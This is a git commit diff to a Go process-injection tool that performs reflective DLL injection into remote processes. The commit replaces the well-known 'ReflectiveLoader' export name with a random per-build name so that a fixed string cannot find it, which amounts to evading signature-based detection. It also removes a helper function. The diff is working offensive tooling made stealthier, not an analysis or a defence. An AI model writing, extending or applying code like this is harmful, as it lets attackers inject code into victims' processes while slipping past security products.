random loader name
This commit is contained in:
@@ -1590,9 +1590,9 @@ func loadLibraryInject(hProcess uintptr, dllPath string) error {
|
||||
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
|
||||
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
|
||||
if err != nil {
|
||||
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
|
||||
return fmt.Errorf("failed to find loader export: %v", err)
|
||||
}
|
||||
log.Printf("backstage inject: ReflectiveLoader at offset 0x%x", loaderOffset)
|
||||
log.Printf("backstage inject: loader at offset 0x%x", loaderOffset)
|
||||
|
||||
remoteBase, _, _ := procVirtualAllocEx.Call(
|
||||
hProcess,
|
||||
@@ -1736,14 +1736,36 @@ func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
|
||||
}
|
||||
|
||||
name := readCString(pe, nameFileOff)
|
||||
if contains(name, "ReflectiveLoader") {
|
||||
if isBackstageLoaderExport(name) {
|
||||
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
|
||||
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
|
||||
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("ReflectiveLoader export not found")
|
||||
return 0, fmt.Errorf("loader export not found")
|
||||
}
|
||||
|
||||
// isBackstageLoaderExport reports whether the given PE export name is the
|
||||
// BackstageInjection reflective loader entry. The loader entry is exported
|
||||
// under a per-build random name of the form "x" + six lowercase hex digits
|
||||
// (generated by the DLL's build.rs), so a fixed string cannot be used to
|
||||
// find it. The legacy fixed name is still accepted so DLL artifacts produced
|
||||
// by older builds keep working.
|
||||
func isBackstageLoaderExport(name string) bool {
|
||||
if name == "ReflectiveLoader" {
|
||||
return true
|
||||
}
|
||||
if len(name) != 7 || name[0] != 'x' {
|
||||
return false
|
||||
}
|
||||
for i := 1; i < 7; i++ {
|
||||
c := name[i]
|
||||
if !(c >= '0' && c <= '9') && !(c >= 'a' && c <= 'f') {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
|
||||
@@ -1778,15 +1800,3 @@ func readCString(data []byte, offset uint32) string {
|
||||
}
|
||||
return string(data[offset:end])
|
||||
}
|
||||
|
||||
func contains(s, substr string) bool {
|
||||
if len(substr) > len(s) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i <= len(s)-len(substr); i++ {
|
||||
if s[i:i+len(substr)] == substr {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user